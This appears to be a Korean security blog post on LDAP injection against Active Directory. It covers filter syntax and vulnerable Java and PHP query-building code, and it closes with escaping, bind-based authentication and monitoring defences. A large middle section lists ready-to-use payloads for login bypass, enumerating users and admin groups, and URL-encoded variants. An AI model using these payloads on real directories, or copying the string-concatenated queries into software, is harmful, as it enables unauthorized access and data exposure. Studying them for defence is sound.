G2H

보안 리서치 · 레드팀/블루팀 · DFIR · Cloud · Tooling

LDAP Injection (Active Directory)

· Web/Web Hacking Techniques

LDAP?

LDAP(Lightweigth Directory Access Protocol, 경량 디렉터리 액세스 프로토콜)은 디렉터리 서비스와 작용하기 위한 응용 프로토콜로, Active Directory(AD) 를 비롯한 여러 디렉터리 서비스에서 활용된다. AD는 조직 내 컴퓨터, 사용자, 그룹 등에 대한 인증과 권한 부여를 담당하는 핵심 윈도우 서비스이며, LDAP는 AD가 이러한 디렉터리 데이터를 조회하고 통신하는데 사용하는 "언어" 이다. 즉, AD에 저장된 사용자 계정 정보나 보안 정보를 다른 시스템이나 애플리케이션이 조회하려 할 떄 LDAP 프로토콜을 통해 질의와 응답이 이루어진다.

 

이렇듯, LDAP 및 AD는 기업 보안의 필수 요소이다. 현재 많은 웹 어플리케이션은 OAuth, JWT, SSO를 사용하지만, 아직까지 사내망, 내부망과 같은 기업 내부, 보안망 환경에서는 ldap는 여전히 표준으로 사용되고 있다. 외부 서비스와 최신 웹 앱에서는 직접사용이 거의 없지만, 레거시 보안구역, 융합환경에서의 ldap 인프라 유지는 필수이다.

LDAP Injection

LDAP Injection은 웹 애플리케이션이 LDAP 질의문을 생성할 때 사용자 입력을 적절히 검증하지 않는 경우 발생하며,

일반적인 Injection과 유사한 공격 방식이다. 특히 개념적으로 SQL Injection과 유사하지만, LDAP Injection의 경우 데이터베이스가 아닌 디렉터리서비스(LDAP)를 공격 대상으로 한다. 주로, LDAP 질의를 통해 구현할 때, 필터(filter) 문자열에 사용자 제공값이 그대로 포함되면 이를 악용하는 방식으로 구조를 조작하게 된다.

 

LDAP 검색 필터 문법은 접두어 표기를 사용하며, (), &, |, !, *, = 등의 메타문자로 구성된다.

(uid=test) 와 같이 uid 속성이 "test"인 항목을 찾거나 ( (&(objectClass=User)(department=Sales)) 와 같이 and조합으로도 사용이 가능하다. 이러한 LDAP 필터에 사용자 입력이 그대로 삽입되면 공격자는 이러한 메타문자를 삽입하여 필터 논리를 변경할 수 있다. 이로인해 LDAP Injection 은 인증 우회, 민감정보 조회, 권한상승등으로 이어지게 된다.

AD 구조

  • 사용자 인증 (sAMAccountName, userPrincipalName, cn)
  • 그룹 및 권한 관리 (memberOf)
  • 조직 정보 조회 (OU, department)
  • LDAP 포트:
    • 389 (LDAP)
    • 636 (LDAPS)

사용자 입력 처리시 LDAP 요청 흐름

일반적으로 웹 어플리케이션은 LDAP 서버에 질의를 보낼 때 LDAP 필터 문자열을 동적으로 생성된다.

Java로 작성된 코드가 아래와 같이 있다고 가정해보자.

String filter = "(&(uid=" + username + ")(password=" + password + "))";
ctx.search(baseDN, filter, ...);

 

일반적인 경우라면 username 과 password 구간에 사용자의 아이디와 비밀번호 값이 들어가게 된다.

이를 통해 uid와 password가 해당 해시값은 엔트리를 찾아 인증증을 확인하게 된다.

만약 별다른 입력값 검증이 존재하지 않을 경우 공격자는 test)(&)) 로 입력할 수 있다.

(&(uid=admin)(&))(password=임의값))

그 경우 위와 같이 구조가 생성되는데 필터가 두 개의 부분으로 쪼개진 것을 알 수 있다.

LDAP 필터 구조상 & 연산자의 괄호 짝을 맞추기 위해 (uid=admin)(&) 까지가 하나의 필터 처럼 처리되고, 나머지 )(password=임의값)는 별개의 조건으로 해석될 수 있다.

 

이 때 (uid=admin)(&)에서 &연산자는 피연산자가 하나뿐인 항상 참(TRUE) 조건으로 간주된다.

따라서 LDAP 서버가 uid가 admin인 엔트리를 찾았고 첫 번째 필터가 True로 평가되므로, 비밀번호와 관계없이 인증을 성공시키게 된다. 이럴 경우 패스워드를 모른 채로도 admin 계정으로 로그인이 된다.

 

이 외에도 아이디=*)(uid=*, 비밀번호=* 와 같이 입력시 (&(uid=*)(password=*)) 와 같이 생성되어 UID와 비밀번호 필드가 비어있지 않은 모든 엔트리를 반환하는 조건이 된다.

 

또 다른 원리를 알아보면, 아래와 같은 php 코드가 있다고 가정하자.

$dept = $_GET['dept'];  // 사용자 입력 부서명
$filter = "(department=$dept)";
ldap_search($conn, $baseDN, $filter);

사용자는 dept 파라미터에 정상적인 값을 넣어야 하지만 공격자자 *(와일드카드)를 넣어 요청하거나, *)(|uid=*와 같은 페이로드를 넣게되면 (department=*)(|(uid=*)) 처럼 구성될 수 있다. 이 경우 입력값에 대한 department는 모든 엔트리에 매치되어 사실상 제한이 없어지며 or 조건에 의해 전체 사용자 목록 조회가 가능하다.

 

OWASP 사례에도 user=*)(uid=*))(|(uid=*와 pass=임의값을 넣어 (uid=*)(uid=*))(|(uid=*)(userPassword=...)) 형태의 필터를 만들고, 이것이 항상 참으로 평가되어 첫 번째 사용자로 로그인되는 시나리오가 소개되어 있다.

 

이와같이 조작된 쿼리는 LDAP 검색 요청을 AD 서버의 LDAP 서비스에 전송한다. 이 때 애플리케이션은 미리 설정된 디렉터리 바인딩 계정이나 인증 정보를 사용해 AD에 연결한다.

 

이후 AD LDAP 엔진은 요청을 받아 필터에 따라 디렉터리 DB를 조회하고, 조건에 일치하는 엔트리를 탐색 후 조회 결과를 LDAP 응답으로 웹 어플리케이션에 반환하게되며, 어플리케이션은 이 응답을 해석하여, 새션 생성, 화면 표시, 로그인등의 처리가 이루어지고 최종적으로 LDAP 응답에 따른 결과를 사용자 브라우저에 전송하게 된다.

취약점 발생 조건

  1. 필터 문자열을 동적 구성시 문자열 연겔에 의존 
  2. 입력값에 대한 특수문자 이스케이프 부족
  3. LDAP 바인드 대신 검색을 통한 인증 구현
  4. 표준 LDAP 라이브러리 미사용 또는 파라미터 바인딩 미지

서버 측(AD)의  LDAP 엔진 파싱 동작

LDAP 필터 문자열은 RFC 4515 등에서 정의된 엄격한 문법을 따른다.

기본 구조는 ()로 감싸고, 그 안에 속성=값 형태의 비교식 또는 논리 연산자를 기술하는 방식을 따른다.

 

  • & : 논리 AND (모든 하위 조건이 참이어야 참)
  • | : 논리 OR (하위 조건 중 하나라도 참이면 참)
  • ! : 논리 NOT (하위 조건이 거짓이면 참)

공격자는 주로 LDAP 엔진의 파싱 규칙을 악용하며 )(|(uid=*))와 같은 입력 조각은 LDAP 필터 파싱 시에 하나의 조건을 강제로 닫고 새로운 | 조건 블록을 시작시키는 효과가 있다. AD를 포함한 LDAP 서버는 일반적으로 좌측부터 우측으로 문자열을 해석하면서 필터를 구성하며, 첫 번째 필터가 닫히고 난 이후의 내용이 문법적으로 이어져야 한다.

 

LDAP서버에 따라 이러한 비정상 입력에 대한 처리 방식이 다른 경우가 존재한다.

일부 LDAP구현(OpenLDAP)은 첫 번째 유효한 필터만 처리하고 이후 문자열은 무시하는 하지만,

AD의 ADAM같은 경우 두 개의 필터가 한 요청에 포함되는 것을 허용하지 않아 오류로 간주한다. 

LDAP쿼리를 만들 때 사용하는 라이브러리/프레임워크에 따라, 서버로 보내기 전 문자열 유효성 검사를 통해 문법을 점검하지만, 이를 우회하여 문법적으로 이상이 없는 조작쿼리를 구성할 수 있다.

 

AD LDAP 서버는 필터 문자열의 문법에 따라 쿼리를 해석하며, 인젝션으로 문법이 조작되면 첫 번째 완전한 필터만 처리하고 나머지는 무시하거나, 혹은 공격자가 조작한 싱글 필터 논리를 그대로 실행한다.

 

LDAP 인젝션의 경우 비정상적인 형식으로 깨뜨리는 방식과 문법적으로 완전한 새로운 필터를 만드는 방식으로 나뉜다.

전자의 경우 LDAP서버가 간혹 오류를 내거나 일부 필터만 처리하지만 후자의 경우 입력이 유효해 보이므로 그대로 실행한다.

(&(uid=admin)(!(&1=0)(userPassword=q)))) 같은 필터는 문법적으로 올바르기에 AD가 받아들여 실행하지만 uid=admin이면서 (1=0 and userPassword=1)가 False 임을 확인하는 구조로 사실상 비밀번호 조건을 제거한 필터가 된다.

LDAP는 단순 로그인 인증 외에도 조직 내 사용자/그룹/조직구조/속성 조회에 폭넓게 활용된다.

 

대부분 기업 포털, 그룹웨어, 인트라넷에서 직원정보를 LDAP에서 가져오며, 보안상 DB에 따로 안 두고 실시간으로 LDAP(AD)에서 조회핟도록 설계한다.

사용자 검색창에 'g2h' 입력 →  
백엔드가 LDAP에 다음과 같이 검색  
(&(objectClass=person)(cn=g2h))  
→ 결과 반환

 

이 외에도 비밀번호 찾기, 사용자 확인 프로세스, 게시판/커뮤니티에서 작성자 표시, 프로필 조회, 권한 확인 또는 그룹 소속 여부 판단, 다단계 겁색, 필터링 시스템등 SQL Injection 과 매우 유사한 동작이 이루어진다.

구간 LDAP 사용 이유 인젝션 위험성
로그인 인증 (아이디/비번 검증) 계정 우회, 로그인 우회
비밀번호 찾기, 사용자 확인 계정 존재여부, 속성 반환 비인가 사용자 정보 조회
조직도, 주소록 실시간 사용자 정보 조회 전체 목록, 속성 탈취
게시판 작성자, 댓글 표시 실명, 부서, 직급 표시 사용자 정보 조작, 노출
그룹 소속 확인 권한 관리, 접근 제어 권한 상승, 비인가 서비스 접근
다단계 검색, 필터 시스템 속성 기반 상세 필터링 필터 조작으로 결과 변조, 권한 구분 우회 가능

 

즉, LDAP 쿼리는 로그인 외에도 기업 내 대부분의 사용자 정보 연계 구간에서 필수적으로 사용된다.

  • 내부망 웹 시스템 (그룹웨어, 포털, 게시판 등)
  • 사용자 입력값을 필터 검증 없이 LDAP 쿼리에 직접 삽입
  • LDAP 검색 결과를 실시간 렌더링하는 구간

따라서 로그인 외 게시판, 조직도, 프로필, 권한확인 모두 LDAP 인젝션 공격의 실질적인 타깃이 될 수 있다.

공격 페이로드

인증 우회용 단순 페이로드

*                                // 와일드카드 전체 매치
*)(uid=*))(|(uid=*              // 논리 왜곡 - 항상 참
*)(|(uid=*))                     // OR 조건 강제참
*)(|(objectClass=*))             // objectClass 전체 매치
*)(|(cn=*))                      // CN 기준 전체 매치
*)(|(mail=*))                    // 메일 기준 전체 매치
*)(|(memberOf=*))                // 그룹 소속 기준 전체 매치
admin*)(userPassword=*
admin*)(|(userPassword=*
*)(userPassword=*))(|(uid=*
*)(userPassword=*))(|(objectClass=*
*)(userPassword=*))(|(mail=*

필드 매칭 우회 및 필터 논리 조작 페이로드

*)(|(sn=*))                         // 성 필드 전체 매치
*)(|(cn=*))                         // Common Name 전체 매치
*)(|(mail=*))                       // 이메일 전체 매치
*)(|(telephoneNumber=*))            // 전화번호 전체 매치
*)(|(description=*))                // 설명 전체 매치
*)(|(memberOf=*))                   // 그룹 소속 우회
*)(|(userPrincipalName=*))          // UPN 전체 매치

권한상승 또는 그룹 내 정보 노출 유도 페이로드

*)(|(memberof=CN=Domain Admins,DC=corp,DC=local))  
*)(|(memberof=CN=Administrators,DC=corp,DC=local)) 
*)(|(memberof=CN=Enterprise Admins,DC=corp,DC=local)) 
*)(|(memberof=CN=Schema Admins,DC=corp,DC=local)) 
*)(|(memberof=CN=Backup Operators,DC=corp,DC=local))

중첩 논리 조작 (AND, OR, NOT)

*)(!(uid=*))                         // NOT 조건 - uid 존재 안하는 경우
*)(!(cn=*))                          // CN 부정 매칭
*)(|(uid=*)(!(uid=*)))               // 항상 참 조합
*)(|(cn=*)(!(cn=*)))                 // CN 조작 - 항상 참
*)(|(userPassword=*)(!(userPassword=*)))

복합 필터

*)(|(uid=admin))(|(uid=*           // 논리 OR 분기 강제삽입
*)(uid=admin)(userPassword=*))(|(uid=* 
*)(|(uid=*))(&(cn=*)(sn=*))        // 강제 AND 삽입
*)(uid=*))(&))(|(uid=*             // 필터 닫기 + 분기
*)(uid=admin)(userPassword=*))(&))(|(uid=*

서비스 오류 유발

*)))%00                            // NULL 문자 삽입으로 필터 무효화
*))%00                             // 필터 조기 종료 + NULL 삽입
*))(&))                            // 필터 닫기 조작
*))(|))                            // OR 조작
*))(&                               // 강제 AND 열기 후 미완성
*))(|                               // OR 열기 후 미완성

인코딩 변형

%2A
%2A)(uid=%2A
%2A%29%28uid%3D%2A%29
%2A%29%28%7C%28uid%3D%2A%29
%2A%29%28%7C%28objectClass%3D%2A%29

로그인 우회
admin*)(userPassword=*
admin%2A%29%28userPassword%3D%2A

관리자 그룹 노출 시도
*)(|(memberof=CN=Domain Admins,DC=corp,DC=com))
%2A%29%28%7C%28memberof%3DCN%3DDomain%20Admins%2CDC%3Dcorp%2CDC%3Dcom%29%29

필터 논리 무력화
*)(|(uid=*))(&(cn=*)(sn=*))
%2A%29%28%7C%28uid%3D%2A%29%29%28%26%28cn%3D%2A%29%28sn%3D%2A%29%29

 

 

보호대책

입력값 검증과 안전한 인코딩

근본적은 대책으로 사용자 입력을 철저히 검증하고 Sanitize 하는것이다.

허용할 문자만 남기고 나머지 입력값에 대해 화이트리스트 검증을 적용하는것이 권장된다. 

또한 동시에 LDAP 전용 인코딩/이스케이프 함수가 적용되어야 한다. OWASP에서는 LDAP 검색 필터용 인코딩과 DN(Distinguished Name)용 인코딩이 따로 있음을 언급하며, RFC 2254에 따른 이스케이프를 권장한다.

예컨대 *는 \2a, (는 \28, )는 \29로, \ 자체는 \5c로 이스케이프해야 한다.

안전한 LDAP 질의 구성

가능하면 LDAP Query를 수동으로 만들지 말고, 프레임워크나 라이브러리 기능을 사용해야한다.

를 들어 Java의 Spring Security LDAP나 UnboundID API는 Filter.createEqualityFilter("cn", userInput) 등의 메서드를 제공하여 내부적으로 안전한 필터를 만들어준다. 

특히 인증 기능 구현 시에는 가능하면 LDAP Bind 방식을 사용하는 것이 좋다. 

사용자 입력 ID로 DN을 구성하고, 해당 DN과 패스워드로 LDAP bind(로그인) 시도를 하면 LDAP 서버 자체가 인증을 수행하므로 필터 인젝션 여지가 없다. 반면 (uid={user})(password={pass})로 검색하여 인증을 검증하는 방식은 인젝션 위험이 높으므로 지양해야 한다. Microsoft도 LDAP 인증은 가능한 Bind를 사용하고, Unauthenticated Bind (빈 패스워드 허용) 등을 비활성화할 것을 권장하고 있다.

최소 권한 원칙

③ 최소 권한 원칙 (Least Privilege):
LDAP 디렉터리에 접근하는 애플리케이션 계정의 권한을 최소화함으로써, 설령 인젝션 공격이 성공하더라도 피해를 줄일 수 있다.

이와 함께 쿼리 범위 제한도 고려할 수 있다. 

LDAP 검색 요청에는 Base DN, Scope(베이스 객체만/하위 포함) 등을 지정할 수 있는데, 애플리케이션이 특정 조직 단위(OU)만 검색해야 한다면 그 베이스 DN을 제한하여 다른 영역을 못 보게 하거나, Size Limit을 1 또는 적절하게 설정하여 한 번의 요청으로 대량의 결과를 못 가져오게 할 수 있다.

로그 모니터링 및 탐지

LDAP 인젝션 시도는 특정 패턴을 남기는 경우가 많으며, 웹 어플리케이션 로그나 LDAP 서버의 접근 로그에 *)(| 등의 문자열이 포함된 로그는 탐지 지표가 될 수 있다.

그 외 대책들

  1. WAF 규칙 적용
  2. 통신보안
  3. 오류 메시지 관리
  4. 패치와 업데이트
  5. 침해 대응 계획

 

참고자료

https://www.invicti.com/blog/web-security/ldap-injection-how-to-prevent/#:~:text=%28%7C%28resType%3Dprinter%29%28userID%3D 
https://www.brightsec.com/blog/ldap-injection/#:~:text=If%20you%E2%80%99ve%20been%20paying%20attention,privileges%20to%20see%20this%20information
https://www.cobalt.io/blog/introduction-to-ldap-injection-attack#:~:text=%60%28%26%28uid%3D
https://www.dnsstuff.com/active-directory-ldap-authentication#:~:text=Lightweight%20Directory%20Access%20Protocol%20,also%20used%20with%20other%20services
https://www.semperis.com/blog/how-to-defend-against-ldap-injection-attacks/#:~:text=LDAP%20injection%20is%20a%20sophisticated,to%20interact%20with%20directory%20data
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection#:~:text=Metachar%20Meaning%20%26%20Boolean%20AND,Any%20character
https://snyk.io/blog/quick-primer-ldap-injection/
https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca3005
https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca3005

 

 

 

 

'Web > Web Hacking Techniques' 카테고리의 다른 글

XPath Injection  (0) 2025.07.13
Server Side Includes (SSI) Injection  (0) 2025.06.26
Content Security Policy(CSP) Mechanism (feat.Bypass)  (0) 2025.06.19
XSS(Cross Site Script) mechanism  (0) 2025.06.07
Redis (Redis Injection)  (0) 2025.05.19